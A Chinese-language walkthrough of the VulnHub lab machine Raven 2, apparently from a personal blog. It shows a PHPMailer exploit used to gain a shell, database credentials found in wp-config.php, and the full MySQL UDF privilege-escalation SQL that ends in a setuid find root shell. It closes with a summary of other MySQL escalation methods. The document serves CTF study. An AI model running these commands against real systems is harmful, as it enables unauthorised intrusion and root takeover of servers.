Raven: 2 ~ VulnHub
信息收集
Nmap扫端口


80端口信息


一个.DS_Store文件泄露(好像没什么用)、一个vendor文件夹和一个登陆后台页面


PATH中找到了flag1,同时还得到了整个网站搭建在var/www/html下

PHP版本5.2.16

又看了看SECURITY.md文件,发现里面记录了PHP各个版本的漏洞情况,拿去翻译了一下,只有第一个漏洞符合现在的PHP版本

百度一下这个漏洞是什么,好家伙正好还是关于这个CMS的漏洞,看了看漏洞复现,用kali查找关于这个漏洞的exp

PHPMailer漏洞利用
KALI搜寻关于这个漏洞的exp,选择PHPMailer小于5.2.18的,这里我选择了py脚本,也就是40974.py

接着将里面的py脚本复制下来保存,记得要改payload中的IP,一个攻击目标,一个本地监听,还要记得后门的文件名

然后按照他说的方法进行操作

这里试了很久这个脚本都没运行成功,查了一下wp发现原来target是contact.php文件,也没有人说原因,不太懂
还有后面的后面路径要改成var/www/html,忽略了这一点。。

但是还有一个坑!!还不能使用默认的后门名,必须要自己改名字,无语了

终于可以了,交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
翻了翻目录,看到一个wp-config.php,果然有数据库的账号密码


连接mysql
mysql -u root -p
R@v3nSecurity
MYSQL——UDF提权
因为我是根据mysql提权来找的靶机,所以第一时间就想到了UDF提权,作弊了

看了看使用方法这里说要先编译,那就在本地编译之后上传上去,使用scp上传
scp root@192.168.200.6:/root/raptor_udf2.so /var/www/html

上传了之后还是使用下面的命令,因为上面的exp路径不一样
use mysql;
create table foo(line blob);
insert into foo values(load_file('/var/www/html/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select * from mysql.func;
select do_system('chmod u+s /usr/bin/find'); //当文件被执行时,根据who参数指定的用户类型设置文件的setuid或者setgid权限
接着exit退出mysql,查看当前文件,理论上我觉得应该选择具有root权限的文件执行命令。但是好像都可以

find test.php -exec '/bin/sh' \;

过关
MYSQL——UDF提权总结
原理
udf(user defined funtion),用户自定义函数。顾名思义,通过让用户自定义函数,来对mysql的功能进行扩充。udf提权将构造好的udf文件上传到指定目录(mysql<5.1,放置于c:\windows\system32\目录。mysql>5.1,放置于mysql安装目录下的lib\plugin目录下,此文件夹默认不存在,需要自己创建),然后创建自定义函数,执行命令。
利用条件:
1)有写入到目录的权限
2)具有数据库root权限
步骤
1、看版本
select version();

2、 看路径
select @@basedir;

3、在mysql安装目录下的lib文件夹中创建plugin文件,并将udf文件上传至该目录。
4、引入udf文件创建自定义函数
CREATE FUNCTION [function_name] RETURNS {STRING|INTERGER|REAL} SONAME ‘shared_library_name’;
shared_library_name:表示函数从哪个文件引入,windows为dll,linux为so
5、如果是window的话可以使用命令添加管理员组,linux的话使用find提权
6.、最后删除自定义函数。
drop function do_system;
既然提到了UDF,就说说mysql的另一种提权方法,但比较少见
MYSQL——MOF提权
原理
nullevt.mof文件是windows系统下的一个文件,默认存放路径为c:/windows/system32/wbem/mof/,其作用是每隔5秒钟监控进程的创建和死亡。通过将构造好的mof文件写入此文件夹,每隔一段时间此文件就会自动执行,从而完成提权。
利用条件:
1)windows 2003及以下版本
2)secure_file_priv不为null
3)具有mysql root权限
MYSQL——启动项提权
网上还看到了别的提权方式
原理
将一段vbs脚本导入到C:\Documents and Settings\All Users\「开始」菜单\程序\启动 目录下,当服务器重新启动后,会自动运行此段脚本执行命令
利用条件:
1)具有数据库root权限
2) secure_file_priv=””
MYSQL——反弹端口连接提权
原理
反弹端口连接提权也算是udf提权,使用特制的udf文件构造反向端口连接函数,主动连接攻击机。适用于一些特殊场景,例如通过网站无法获取webshell,有了Webshell无法执行命令,有phpmyadmin和root账号,无法查询或者无法获取网站的真实路径。
利用条件:
1)有写入到目录的权限
2) 具有数据库root权限
参考文章
看一遍就会的mysql数据库提权操作指南 (qq.com)